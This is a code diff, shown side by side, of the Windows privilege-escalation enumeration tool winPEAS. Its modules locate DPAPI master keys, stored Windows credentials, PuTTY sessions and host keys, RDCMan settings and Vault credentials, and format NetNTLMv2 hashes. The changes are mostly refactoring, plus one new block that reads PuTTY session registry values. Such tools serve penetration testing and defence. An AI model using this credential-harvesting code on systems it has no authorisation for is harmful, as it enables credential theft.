List<string> userDPAPIBasePaths = new List<string>(); List<string> userDPAPIBasePaths = new List<string>
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); {
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userDPAPIBasePath in userDPAPIBasePaths) foreach (string userDPAPIBasePath in userDPAPIBasePaths)
{ {
if (System.IO.Directory.Exists(userDPAPIBasePath)) if (Directory.Exists(userDPAPIBasePath))
{ {
var directories = Directory.EnumerateDirectories(userDPAPIBasePath); var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -254,9 +261,9 @@ namespace winPEAS.KnownFileCreds
{ {
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
results.Add(new Dictionary<string, string>() results.Add(new Dictionary<string, string>()
{ {
{ "MasterKey", file }, { "MasterKey", file },
@@ -274,13 +281,15 @@ namespace winPEAS.KnownFileCreds
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
List<string> userDPAPIBasePaths = new List<string>(); List<string> userDPAPIBasePaths = new List<string>
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); {
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userDPAPIBasePath in userDPAPIBasePaths) foreach (string userDPAPIBasePath in userDPAPIBasePaths)
{ {
if (System.IO.Directory.Exists(userDPAPIBasePath)) if (Directory.Exists(userDPAPIBasePath))
{ {
var directories = Directory.EnumerateDirectories(userDPAPIBasePath); var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -291,9 +300,9 @@ namespace winPEAS.KnownFileCreds
{ {
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
results.Add(new Dictionary<string, string>() results.Add(new Dictionary<string, string>()
{ {
{ "MasterKey", file }, { "MasterKey", file },
@@ -331,23 +340,25 @@ namespace winPEAS.KnownFileCreds
string userName = parts[parts.Length - 1]; string userName = parts[parts.Length - 1];
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
List<string> userCredFilePaths = new List<string>(); List<string> userCredFilePaths = new List<string>
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir)); {
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)); string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir),
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)
};
foreach (string userCredFilePath in userCredFilePaths) foreach (string userCredFilePath in userCredFilePaths)
{ {
if (System.IO.Directory.Exists(userCredFilePath)) if (Directory.Exists(userCredFilePath))
{ {
var systemFiles = Directory.EnumerateFiles(userCredFilePath); var systemFiles = Directory.EnumerateFiles(userCredFilePath);
if ((systemFiles != null)) if ((systemFiles != null))
{ {
foreach (string file in systemFiles) foreach (string file in systemFiles)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length; long size = new FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID // jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
@@ -381,15 +392,17 @@ namespace winPEAS.KnownFileCreds
} }
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")); string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
if (Directory.Exists(systemFolder))
{
var files = Directory.EnumerateFiles(systemFolder); var files = Directory.EnumerateFiles(systemFolder);
if ((files != null)) if ((files != null))
{ {
foreach (string file in files) foreach (string file in files)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length; long size = new System.IO.FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID // jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
@@ -418,12 +431,15 @@ namespace winPEAS.KnownFileCreds
} }
} }
} }
}
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
List<string> userCredFilePaths = new List<string>(); List<string> userCredFilePaths = new List<string>
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); {
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE"))); string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE")),
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE"))
};
foreach (string userCredFilePath in userCredFilePaths) foreach (string userCredFilePath in userCredFilePaths)
{ {
@@ -433,10 +449,10 @@ namespace winPEAS.KnownFileCreds
foreach (string file in files) foreach (string file in files)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastAccessed = File.GetLastAccessTime(file);
DateTime lastModified = System.IO.File.GetLastWriteTime(file); DateTime lastModified = File.GetLastWriteTime(file);
long size = new System.IO.FileInfo(file).Length; long size = new System.IO.FileInfo(file).Length;
string fileName = System.IO.Path.GetFileName(file); string fileName = Path.GetFileName(file);
// jankily parse the bytes to extract the credential type and master key GUID // jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54

View File

@@ -1,6 +1,6 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -20,7 +20,7 @@ namespace winPEAS.KnownFileCreds
try try
{ {
Beaprint.MainPrint("Putty Sessions"); Beaprint.MainPrint("Putty Sessions");
List<Dictionary<string, string>> putty_sess = Putty.GetPuttySessions(); List<Dictionary<string, string>> putty_sess = GetPuttySessions();
Dictionary<string, string> colorF = new Dictionary<string, string>() Dictionary<string, string> colorF = new Dictionary<string, string>()
{ {
@@ -39,7 +39,7 @@ namespace winPEAS.KnownFileCreds
try try
{ {
Beaprint.MainPrint("Putty SSH Host keys"); Beaprint.MainPrint("Putty SSH Host keys");
List<Dictionary<string, string>> putty_sess = Putty.ListPuttySSHHostKeys(); List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();
Dictionary<string, string> colorF = new Dictionary<string, string>() Dictionary<string, string> colorF = new Dictionary<string, string>()
{ {
{ ".*", Beaprint.ansi_color_bad }, { ".*", Beaprint.ansi_color_bad },
@@ -129,6 +129,24 @@ namespace winPEAS.KnownFileCreds
else else
{ {
string[] subKeys = RegistryHelper.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\"); string[] subKeys = RegistryHelper.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\");
RegistryKey selfKey = Registry.CurrentUser.OpenSubKey(@"Software\\SimonTatham\\PuTTY\\Sessions"); // extract own Sessions registry keys
if (selfKey != null)
{
string[] subKeyNames = selfKey.GetValueNames();
foreach (string name in subKeyNames)
{
Dictionary<string, string> putty_sess_key = new Dictionary<string, string>()
{
{ "RegKey Name", name },
{ "RegKey Value", (string)selfKey.GetValue(name) },
};
results.Add(putty_sess_key);
}
selfKey.Close();
}
foreach (string sessionName in subKeys) foreach (string sessionName in subKeys)
{ {
Dictionary<string, string> putty_sess = new Dictionary<string, string>() Dictionary<string, string> putty_sess = new Dictionary<string, string>()
@@ -182,8 +200,10 @@ namespace winPEAS.KnownFileCreds
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID)); Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
if ((hostKeys != null) && (hostKeys.Count != 0)) if ((hostKeys != null) && (hostKeys.Count != 0))
{ {
Dictionary<string, string> putty_ssh = new Dictionary<string, string>(); Dictionary<string, string> putty_ssh = new Dictionary<string, string>
putty_ssh["UserSID"] = SID; {
["UserSID"] = SID
};
foreach (KeyValuePair<string, object> kvp in hostKeys) foreach (KeyValuePair<string, object> kvp in hostKeys)
{ {
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value

View File

@@ -1,8 +1,8 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Xml; using System.Xml;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -77,7 +77,7 @@ namespace winPEAS.KnownFileCreds
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir); string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
if (System.IO.File.Exists(userRDManFile)) if (File.Exists(userRDManFile))
{ {
XmlDocument xmlDoc = new XmlDocument(); XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(userRDManFile); xmlDoc.Load(userRDManFile);
@@ -87,8 +87,8 @@ namespace winPEAS.KnownFileCreds
XmlNodeList items = filesToOpen[0].ChildNodes; XmlNodeList items = filesToOpen[0].ChildNodes;
XmlNode node = items[0]; XmlNode node = items[0];
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); DateTime lastModified = File.GetLastWriteTime(userRDManFile);
Dictionary<string, string> rdg = new Dictionary<string, string>(){ Dictionary<string, string> rdg = new Dictionary<string, string>(){
{ "RDCManFile", userRDManFile }, { "RDCManFile", userRDManFile },
{ "Accessed", string.Format("{0}", lastAccessed) }, { "Accessed", string.Format("{0}", lastAccessed) },
@@ -107,9 +107,9 @@ namespace winPEAS.KnownFileCreds
else else
{ {
string userName = Environment.GetEnvironmentVariable("USERNAME"); string userName = Environment.GetEnvironmentVariable("USERNAME");
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", Environment.GetEnvironmentVariable("USERPROFILE"));
if (System.IO.File.Exists(userRDManFile)) if (File.Exists(userRDManFile))
{ {
XmlDocument xmlDoc = new XmlDocument(); XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(userRDManFile); xmlDoc.Load(userRDManFile);
@@ -119,8 +119,8 @@ namespace winPEAS.KnownFileCreds
XmlNodeList items = filesToOpen[0].ChildNodes; XmlNodeList items = filesToOpen[0].ChildNodes;
XmlNode node = items[0]; XmlNode node = items[0];
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); DateTime lastModified = File.GetLastWriteTime(userRDManFile);
Dictionary<string, string> rdg = new Dictionary<string, string>(){ Dictionary<string, string> rdg = new Dictionary<string, string>(){
{ "RDCManFile", userRDManFile }, { "RDCManFile", userRDManFile },
{ "Accessed", string.Format("{0}", lastAccessed) }, { "Accessed", string.Format("{0}", lastAccessed) },

View File

@@ -209,7 +209,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
{ {
return new NtlmHashInfo( return new NtlmHashInfo(
"NetNTLMv2", "NetNTLMv2",
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16)) FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))
); );
} }
else else

View File

@@ -24,6 +24,8 @@ namespace winPEAS.KnownFileCreds.SuperPutty
try try
{ {
var path = $"{dir}\\Documents\\SuperPuTTY\\"; var path = $"{dir}\\Documents\\SuperPuTTY\\";
if (Directory.Exists(path))
{
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly); var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
foreach (var file in files) foreach (var file in files)
@@ -31,6 +33,7 @@ namespace winPEAS.KnownFileCreds.SuperPutty
Beaprint.BadPrint($" {file}"); Beaprint.BadPrint($" {file}");
} }
} }
}
catch (Exception) catch (Exception)
{ {
} }

View File

@@ -45,16 +45,18 @@ namespace winPEAS.KnownFileCreds.Vault
// Create dictionary to translate Guids to human readable elements // Create dictionary to translate Guids to human readable elements
IntPtr guidAddress = vaultGuidPtr; IntPtr guidAddress = vaultGuidPtr;
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>(); Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>
vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note"); {
vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential"); { new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note" },
vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector"); { new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential" },
vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials"); { new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector" },
vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials"); { new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials" },
vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential"); { new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials" },
vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential"); { new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential" },
vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential"); { new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential" },
vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null); { new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential" },
{ new Guid("00000000-0000-0000-0000-000000000000"), null }
};
for (int i = 0; i < vaultCount; i++) for (int i = 0; i < vaultCount; i++)
{ {
@@ -167,7 +169,7 @@ namespace winPEAS.KnownFileCreds.Vault
vault_cred["PacakgeSid"] = string.Format("{0}", packageSid); vault_cred["PacakgeSid"] = string.Format("{0}", packageSid);
} }
vault_cred["Credential"] = string.Format("{0}", cred); vault_cred["Credential"] = string.Format("{0}", cred);
vault_cred["Last Modified"] = string.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified)); vault_cred["Last Modified"] = string.Format("{0}", DateTime.FromFileTimeUtc((long)lastModified));
results.Add(vault_cred); results.Add(vault_cred);
} }
} }

View File

@@ -1,7 +1,6 @@
using System; using System;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
using winPEAS.TaskScheduler.TaskEditor.Native;
namespace winPEAS.Native.Classes namespace winPEAS.Native.Classes
{ {

View File

@@ -1,7 +1,5 @@
using System; using System;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using winPEAS.Info.SystemInfo.NamedPipes;
namespace winPEAS.Native namespace winPEAS.Native
{ {

View File

@@ -1,5 +1,4 @@
using System.Reflection; using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following

Some files were not shown because too many files have changed in this diff Show More